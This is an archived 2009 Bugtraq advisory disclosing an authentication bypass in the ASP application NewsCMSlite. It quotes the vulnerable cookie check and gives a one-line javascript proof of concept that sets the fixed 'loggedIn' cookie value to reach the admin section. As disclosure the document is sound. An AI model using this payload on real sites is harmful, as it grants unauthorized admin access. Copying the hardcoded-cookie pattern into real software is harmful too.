bugtraq - NewsCMSlite Insecure Cookie Handling

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20090127103053.g46pdpfyqsskw44c@mail.amnpardaz.com>
Date: Tue, 27 Jan 2009 10:30:53 +0330
From: admin@...report.ir
To: bugtraq@...urityfocus.com
Subject: NewsCMSlite Insecure Cookie Handling

########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title:		NewsCMSlite
# Vendor:		http://www.katywhitton.com
# Bug:			Insecure Cookie Handling
# Exploitation:		Remote with browser
# Fix:			N/A
# Original Advisory:	http://www.bugreport.ir/index_62.htm
###################################################################


####################
- Description:
####################

NewsCMSlite is an easy way to get regularly updated content onto your  
site without the need for programming skills or employing a Web  
Maintenance engineer.

The system allows you to update your news, articles, diary  
etc.dynamically using an Access Database to store the content.

####################
- Vulnerability:
####################

+-->Insecure Cookie Handling

Because of improper access restriction to the administration section,  
It is possible to bypass the authentication mechanism and gain access  
to the

administration section by setting the "loggedIn" cookie to "xY1zZoPQ"



Code Snippet:
/newsadmin.asp #line:73-101

if pageView="login" THEN
' Nothing
ELSE

if (Request.Cookies("loggedIn")="") OR  
(Request.Cookies("loggedIn")<>"xY1zZoPQ") THEN
%>
<p><div align="center">
.
.
.
<%
ELSE
%>
<%if pageView="" THEN

' The User is logged in with permission
' to view the admin section so we
' display the article list and
' options menu

####################
- POC:
####################

javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources. Edit  
the source code to ensure that inputs are properly sanitized.

####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com